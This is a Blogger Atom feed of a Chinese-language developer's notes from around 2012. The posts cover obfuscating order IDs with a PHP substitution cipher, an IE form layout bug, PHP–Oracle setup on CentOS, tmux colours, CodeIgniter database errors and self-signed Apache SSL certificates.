<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-24036294</id><updated>2012-02-01T10:03:37.932+08:00</updated><category term='Python'/><category term='facebook'/><category term='flash'/><category term='鐵支仔路ㄟRuby'/><category term='jQuery'/><category term='Performance'/><category term='Software Engineering'/><category term='MySQL'/><category term='行銷'/><category term='C#筆記'/><category term='學習'/><category term='書'/><category term='SQL'/><category term='CSS'/><category term='Javascript'/><category term='RS232'/><category term='WQL'/><category term='Performace'/><category term='專案管理'/><category term='UML'/><category term='物件導向'/><category term='CodeIgniter'/><category term='使用介面設計'/><category term='Windows設定'/><category term='Zend'/><category term='Java'/><category term='Ajax'/><category term='Open Office'/><category term='XML筆記'/><category term='網站開發'/><category term='好吃的'/><category term='韌體'/><category term='PHP'/><category term='系統重灌'/><category term='TDD'/><category term='安裝部署'/><category term='git'/><category term='Database'/><category term='browser'/><category term='Linux'/><category term='Software'/><category term='影像處理'/><category term='Html'/><category term='Grid Computing'/><category term='企業管理'/><category term='MS Office'/><category term='DOS'/><title type='text'>魚乾的筆記本</title><subtitle type='html'>工作上學到什麼就寫什麼...</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default?start-index=101&amp;max-results=100'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>376</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-24036294.post-5187140477904353247</id><published>2012-01-29T10:26:00.001+08:00</published><updated>2012-02-01T10:03:37.941+08:00</updated><title type='text'>亂數order id</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;最近在寫銷售系統，由於會把order id給客戶，主管反應這樣會被會看出銷售量，所以要改成亂數，避免競爭對手等看出銷售數量。&lt;br /&gt;&lt;br /&gt;研究了半天，自己用padding、加亂數的方法似乎還是會被察覺，google後，覺得還是用加密比較簡單&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;two way encryption&lt;br /&gt;先下載加密法&lt;a href="http://www.tonymarston.com/php-mysql/showsource.php?file=std.encryption.class.inc"&gt;encryption_class.php&lt;/a&gt;&lt;br /&gt;在encryption_class.php裡，有以下兩行&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;$this-&gt;scramble1 = '! #$%&amp;()*+,-./0123456789:;&amp;gt;=&amp;lt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~';&lt;br /&gt;$this-&gt;scramble2 = 'f^jAE]okIOzU[2&amp;q1{3`h5w_794p@6s8?BgP&amp;lt;dFV=m D&amp;gt;TcS%Ze|r:lGK/uCy.Jx)HiQ!#$~(;Lt-R}Ma,NvW+Ynb*0X';&lt;/pre&gt;&lt;/div&gt;此加密法是簡單的利用代換字母做加密，記得叫Caesar Cipher什麼的，主要利用自己的key，去對應scramble相同字母的位置&lt;br /&gt;當然這樣1對1的對應，很容易就被破，所以裡面的function _applyFudgeFactor()，就是在每次計算代換字母就偏移順序&lt;br /&gt;利用scramble1把key轉換成順序，每次再偏移位置，從scramble2取出該字母當祕文&lt;br /&gt;&lt;/li&gt;&lt;li&gt;產生加密後的order id&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;&amp;lt;?php&lt;br /&gt;include 'encryption_class.php';&lt;br /&gt;&lt;br /&gt;$crypt = new encryption_class(); &lt;br /&gt;&lt;br /&gt;$key = "A-COMPLETELY-RANDOM-KEY-THAT-I-HAVE-USED";&lt;br /&gt;// Min length of 8 for encrypted string&lt;br /&gt;$min_length = 8;&lt;br /&gt;&lt;br /&gt;$order_id = 123456789;&lt;br /&gt;&lt;br /&gt;print "Original: " . $order_id . PHP_EOL;&lt;br /&gt;&lt;br /&gt;$encrypt_result = $crypt-&amp;gt;encrypt($key, $order_id, $min_length); &lt;br /&gt;&lt;br /&gt;print "Encrypted: " . $encrypt_result . PHP_EOL;&lt;br /&gt;&lt;br /&gt;// DECRYPT&lt;br /&gt;$decrypt_result = $crypt-&amp;gt;decrypt($key, $encrypt_result);&lt;br /&gt;&lt;br /&gt;print "Decrypted: " . $decrypt_result . PHP_EOL;&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;/div&gt;結果如下&lt;br /&gt;Original: 123456789&lt;br /&gt;Encrypted: 2UD5UIK9S&lt;br /&gt;Decrypted: 123456789&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;以數字實作&lt;br /&gt;不過問題又來了，因為order id用integer,所以要求全是數字&lt;br /&gt;&lt;ul&gt;&lt;li&gt;轉ascii code&lt;br /&gt;就直接全轉3位數的ascii code&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;$numeric_cipher='';&lt;br /&gt;for($i=0;$i&amp;lt;strlen($decrypt_result);$i++){&lt;br /&gt;    $numeric_cipher .= str_pad(ord(substr($decrypt_result,$i,1)),3,'0',STR_PAD_LEFT); //不到3碼，左邊補0至3碼&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;不過實在太長了，5位數就要長到15個數字&lt;br /&gt;所以ascii百位數後全不用，即d(100),e(101),... &lt;br /&gt;這樣padding就只要2位，這樣5位數也只要10個數字&lt;/li&gt;&lt;li&gt;還嫌太長！？最終極版大絕!!!&lt;br /&gt;由於key是對應scremble的排序...&lt;br /&gt;把key跟scremble都只放數字，這樣............ 應該夠短了吧...&lt;br /&gt;就是有點容易猜...不過一時間內應該也夠用了&lt;br /&gt;order id太長，將來要查也不好查&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;改encryption_class.php&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;//把scramble改成如下，不要重覆，順序可亂擺，不要一樣就好&lt;br /&gt;$this-&amp;gt;scramble1 = '0123456789';&lt;br /&gt;$this-&amp;gt;scramble2 = '2135794680';&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;改key值&lt;br /&gt;因為要對應scramble，所以key有什麼值，scramble就要有什麼值，否則對應不到&lt;br /&gt;至於密文min length長度，當超過明文長度時，預設是在字串後方補上空格&lt;br /&gt;但因為得全為數字，所以scramble沒有空格，造成空格對應不到，因此不能超過order id的長度&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;//key可隨意變化，但key的值一定要出現在scramble裡&lt;br /&gt;$key='1234534567890';   &lt;br /&gt;$key='11223344';   &lt;br /&gt;$key='68490';   &lt;br /&gt;&lt;br /&gt;$min_length = strlen($order_id); //因為1對1，所以不能超過order id的長度&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;結果如下&lt;br /&gt;&lt;div style="float:center;"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;Original&lt;/th&gt;&lt;th&gt;Encrypted&lt;/th&gt;&lt;th&gt;Decrypted&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;7&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11&lt;/td&gt;&lt;td&gt;50&lt;/td&gt;&lt;td&gt;11&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;99&lt;/td&gt;&lt;td&gt;19&lt;/td&gt;&lt;td&gt;99&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;100&lt;/td&gt;&lt;td&gt;583&lt;/td&gt;&lt;td&gt;100&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;101&lt;/td&gt;&lt;td&gt;585&lt;/td&gt;&lt;td&gt;101&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;110&lt;/td&gt;&lt;td&gt;505&lt;/td&gt;&lt;td&gt;110&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;111&lt;/td&gt;&lt;td&gt;507&lt;/td&gt;&lt;td&gt;111&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;這就可以看出來，當key、scramble、偏移量相同，位於前面的字母相同時，代碼都會相同，變化不夠大，忘了那資安的名詞叫什麼，意思是當原文變化不大時，密文的變化仍要夠大，如md5等&lt;br /&gt;因為可變化的太少了，不過應該算堪用了&lt;br /&gt;另外還有兩個問題&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;original為7時，沒辦法反解&lt;br /&gt;原作者在decrypt用empty，所以遇到0會當false，改!isset即可&lt;br /&gt;相同的，當encrypt 0時，也會當成false，也需要改成!isset&lt;/li&gt;&lt;li&gt;decrypt result為0xx&lt;br /&gt;雖是正常，不過ordre id用integer，這個0就會不見，到時會解不回去&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;min length問題&lt;/b&gt;&lt;br /&gt;由於是全數字，又密文長度不能超過明文長度，實在容易被猜出來&lt;br /&gt;那如何超過明文長度咧... &lt;br /&gt;解法：不補空格，補0，在明文字串前方補足0，由於integer前面有0，也是當成0，所以沒差&lt;br /&gt;ex. $id = 50; $min_length = 4;&lt;br /&gt;$id = '0050'; // 補2個0，足4位&lt;br /&gt;在encryption_class.php裡&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;function encrypt(){&lt;br /&gt;    ...&lt;br /&gt;    //$source = str_pad($source, $sourcelen);              //原作法&lt;br /&gt;    $source = str_pad($source, $sourcelen, '0', STR_PAD_LEFT); //新的作法&lt;br /&gt;    ...&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;References&lt;br /&gt;&lt;a href="http://phpgoogle.blogspot.com/2007/08/four-ways-to-generate-unique-id-by-php.html"&gt;Four ways to generate unique id by PHP &lt;/a&gt;&lt;br /&gt;&lt;a href="http://stackoverflow.com/questions/5387755/how-to-generate-unique-order-id-just-to-show-touser-with-actual-order-id"&gt;How to generate Unique Order Id (just to show touser) with actual Order Id?&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-5187140477904353247?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/5187140477904353247/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=5187140477904353247' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5187140477904353247'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5187140477904353247'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2012/01/order-id.html' title='亂數order id'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-9089623786182695667</id><published>2012-01-19T16:41:00.001+08:00</published><updated>2012-01-19T16:42:10.388+08:00</updated><title type='text'>該死的ie form</title><content type='html'>在html包form實在是在平常不過的事了&lt;br /&gt;在firefox, chrome都跑的好好的&lt;br /&gt;沒想到ie跑版，馬上開F12來看一下&lt;br /&gt;天殺的那是在iframe裡... 要到該網頁又要帶參數....好想殺人&lt;br /&gt;查了半天的css實是看不出原因&lt;br /&gt;&lt;br /&gt;亂搬了一下form，居然有變化了&lt;br /&gt;最後把margin設為0... 更.. 好了....&lt;br /&gt;同事事後也說，他也遇過，說這form實在很奧妙....&lt;br /&gt;&lt;br /&gt;忘了是ie什麼版本影響了... 總之先記下來&lt;br /&gt;ie我恨你...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-9089623786182695667?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/9089623786182695667/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=9089623786182695667' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/9089623786182695667'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/9089623786182695667'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2012/01/ie-form.html' title='該死的ie form'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-388339625837896808</id><published>2012-01-15T23:50:00.000+08:00</published><updated>2012-01-15T23:50:23.820+08:00</updated><title type='text'>CentOS下，PHP連Oracle</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;沒連過oracle，一開始要用還真搞不太懂&lt;br /&gt; 載了2個檔案，共2G回來，還是不會用&lt;br /&gt;最後看只需載個client的basic，供oci連線即可 &lt;br /&gt;&lt;br /&gt;1. download &lt;a href="http://www.oracle.com/technetwork/database/features/instant-client/index-097480.html"&gt;Instant Client Downloads&lt;/a&gt;: &lt;br /&gt;自己的環境是linux 64bit, 所以載了                                       &lt;a href="http://www.oracle.com/technetwork/topics/linuxx86-64soft-092277.html"&gt;Instant Client for Linux x86-64&lt;/a&gt;                                     &lt;br /&gt;2. Install oci8.so using pecl &lt;br /&gt;3. vi /etc/php.ini , add the lineextention=oci8.so&lt;br /&gt;4. Add the path of rpm installed directory&lt;br /&gt; 5. Restart the apachectl&lt;br /&gt;6. Test it &lt;br /&gt;Reference&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://shamuntoha.wordpress.com/2010/04/12/centos-oracle-php-database-connect-oci-instantclient-oci8/"&gt;CentOS oracle php database connect oci instantclient oci8&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-388339625837896808?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/388339625837896808/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=388339625837896808' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/388339625837896808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/388339625837896808'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2012/01/centosphporacle.html' title='CentOS下，PHP連Oracle'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-6671781418456417259</id><published>2012-01-11T22:27:00.002+08:00</published><updated>2012-01-11T22:27:39.253+08:00</updated><title type='text'>教授比較強！？</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;以前唸專科時，學校裡有教授頭術及碩士畢業的講師&lt;br /&gt;曾經有個交大畢業的碩士講師跟我說過&lt;br /&gt;有些學生比較看不起講師，覺得教授等級才夠看&lt;br /&gt;&lt;br /&gt;專科時期，算是個人進入資訊領域的起萌期&lt;br /&gt;老師個人當然還是有強弱，不過都覺得可學習的滿多的&lt;br /&gt;也沒有感覺有沒有教授的頭銜有什麼差別&lt;br /&gt;&lt;br /&gt;後來進了大學&lt;br /&gt;老師都至少助理教授以上等級，且大多為40多歲以上&lt;br /&gt;且教授等級的老師在業界或學術界都頗具名氣&lt;br /&gt;聽課時，就真的覺得有差，除了講義上的東西，還可以講的更深入&lt;br /&gt;一些理論的東西，也能講的比較活，感覺比較實用&lt;br /&gt;&lt;br /&gt;有位教授說了句玩笑話：「教授就是專門把簡單的東西教的很難。」&lt;br /&gt;原本只是會心一笑，後來才體會到，教授已經多年研究這領域，且每年都重複教這東西，已經成精了，而我們這些小毛頭，一時要聽懂，真的不是件容易的事。&lt;br /&gt;&lt;br /&gt;所以...&lt;br /&gt;碩士畢業的講師不敢說弱&lt;br /&gt;只能說教授真的滿強的... &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-6671781418456417259?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/6671781418456417259/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=6671781418456417259' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/6671781418456417259'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/6671781418456417259'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2012/01/blog-post.html' title='教授比較強！？'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-5760293222766670974</id><published>2012-01-07T11:12:00.001+08:00</published><updated>2012-01-07T11:12:15.144+08:00</updated><title type='text'>tmux改 screen 256 color</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;h2 class="post-title"&gt;&lt;/h2&gt;改了tmux的設定後，發現顏色沒有改&lt;br /&gt;查了一下，知道可用tput color來看&lt;br /&gt;只有8色，不支援256&lt;br /&gt;可在config裡給screen-256color&lt;br /&gt;&lt;pre&gt;set -g default-terminal "screen-256color"&lt;/pre&gt;&lt;br /&gt;不過開vim時，卻發生&lt;strong&gt;Terminal entry not found in terminfo '&lt;/strong&gt;screen-256color' not known&lt;br /&gt;所以讀預色的ansi&lt;br /&gt;搞的vim都沒顏色了，而且很多vim指令不能下&lt;br /&gt;&lt;br /&gt;又看了一下要用&lt;br /&gt;export TERM=screen-256color&lt;br /&gt;&lt;br /&gt;不改還好，一改連tmux也進不去&lt;br /&gt;出現 missing or unsuitable terminal: screen-256color&lt;br /&gt;&lt;br /&gt;想改回去 已經不知原本的值了&lt;br /&gt;幸好另一台server也有灌，看了原來本的設定是&lt;br /&gt;TERM=screen&lt;br /&gt;改回來就進tmux了 &lt;br /&gt;&lt;br /&gt;結論...&lt;br /&gt;還是沒顏色... 有改回來就偷笑了&lt;br /&gt;不過應該centos 沒有screen-256color這東西&lt;br /&gt;想辦法搞定，應該就能work了&lt;br /&gt;&lt;br /&gt;References&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://blog.oldworld.fr/index.php?post/2010/03/21/256-colors-terminal-with-tmux-and-urxvt"&gt;256 colors terminal with tmux and urxvt&lt;/a&gt;\&lt;/li&gt;&lt;li&gt;&amp;nbsp;&lt;a href="http://www.colorhunter.com/tag/tmux/1"&gt;tmux color palettes&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-5760293222766670974?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/5760293222766670974/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=5760293222766670974' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5760293222766670974'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5760293222766670974'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2012/01/tmux-screen-256-color.html' title='tmux改 screen 256 color'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-4496035894356928639</id><published>2012-01-05T12:29:00.001+08:00</published><updated>2012-01-05T12:29:11.857+08:00</updated><title type='text'>ci取db錯誤</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;codeigniget在db出錯時，會自行印出錯誤訊息，如果要關掉有兩種方法&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;config/database.php設定&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;$db['default']['db_debug'] = TRUE;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;程式裡設定&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;$this-&amp;gt;db-&amp;gt;db_debug = false;  &lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;關掉錯誤訊息，那如何取得錯誤訊息咧&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;$this-&amp;gt;db-&amp;gt;_error_message(); &lt;/pre&gt;&lt;/div&gt;因為不管關不關錯誤訊息try-catch都抓不到&lt;br/&gt;所以如要判斷中斷程式得利用affected row&lt;br/&gt;ci論談已經有人寫好function，可配合暫時關掉錯誤訊息，中斷和印出錯誤訊息&lt;br/&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;function insert_quiet($table = ‘’, $set = NULL)&lt;br /&gt;  {&lt;br /&gt;      $oldv =$this-&amp;gt;db_debug;&lt;br /&gt;      $this-&amp;gt;db_debug = false;     &lt;br /&gt;      $this-&amp;gt;insert($table, $set);&lt;br /&gt;      $e = $this-&amp;gt;_error_message();&lt;br /&gt;      $aff = $this-&amp;gt;affected_rows();&lt;br /&gt;      $this-&amp;gt;db_debug = $oldv;&lt;br /&gt;      if($aff &amp;lt; 1) {&lt;br /&gt;        return($e);&lt;br /&gt;      } else {&lt;br /&gt;        return(true);&lt;br /&gt;      }&lt;br /&gt;  }&lt;/pre&gt;&lt;/div&gt;Reference&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://codeigniter.com/forums/viewthread/76524/"&gt;How to retrieve database error from CodeIgniter&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-4496035894356928639?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/4496035894356928639/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=4496035894356928639' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4496035894356928639'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4496035894356928639'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2012/01/cidb.html' title='ci取db錯誤'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-5381070746503654919</id><published>2011-12-22T10:04:00.001+08:00</published><updated>2012-01-10T15:38:28.708+08:00</updated><title type='text'>轉：Setting up an SSL secured Webserver with CentOS</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;在apache裡建https就這麼簡單...&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://wiki.centos.org/HowTos/Https#head-464cab3a33b4dc5d70f053e0032a2ddd18aee693"&gt;Getting the required software&lt;/a&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;yum install mod_ssl openssl&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://wiki.centos.org/HowTos/Https#head-37cd1f5c67d362756f09313cd758bef48407c325"&gt;Generate a self-signed certificate&lt;/a&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;# Generate private key &lt;br /&gt;openssl genrsa -out ca.key 1024 &lt;br /&gt;&lt;br /&gt;# Generate CSR &lt;br /&gt;openssl req -new -key ca.key -out ca.csr&lt;br /&gt;&lt;br /&gt;# Generate Self Signed Key&lt;br /&gt;openssl x509 -req -days 365 -in ca.csr -signkey ca.key -out ca.crt&lt;br /&gt;&lt;br /&gt;# Copy the files to the correct locations&lt;br /&gt;cp ca.crt /etc/pki/tls/certs&lt;br /&gt;cp ca.key /etc/pki/tls/private/ca.key&lt;br /&gt;cp ca.csr /etc/pki/tls/private/ca.csr&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://wiki.centos.org/HowTos/Https#head-35299da4f7078eeba5f5f62b0222acc8c5f2db5f"&gt;Setting up the virtual hosts&lt;/a&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;&lt;VirtualHost *:80&gt;&lt;br /&gt;        &lt;Directory /var/www/vhosts/yoursite.com/httpdocs&gt;&lt;br /&gt;        AllowOverride All&lt;br /&gt;        &lt;/Directory&gt;&lt;br /&gt;        DocumentRoot /var/www/vhosts/yoursite.com/httpdocs&lt;br /&gt;        ServerName yoursite.com&lt;br /&gt;&lt;/VirtualHost&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://wiki.centos.org/HowTos/Https#head-3c982fe2f5b02b89148c7ab371c63efd1da8b383"&gt;Configuring the firewall&lt;/a&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;yum install mod_ssl openssl&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Reference&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://wiki.centos.org/HowTos/Https"&gt;Setting up an SSL secured Webserver with CentOS&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-5381070746503654919?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/5381070746503654919/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=5381070746503654919' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5381070746503654919'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5381070746503654919'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/12/setting-up-ssl-secured-webserver-with.html' title='轉：Setting up an SSL secured Webserver with 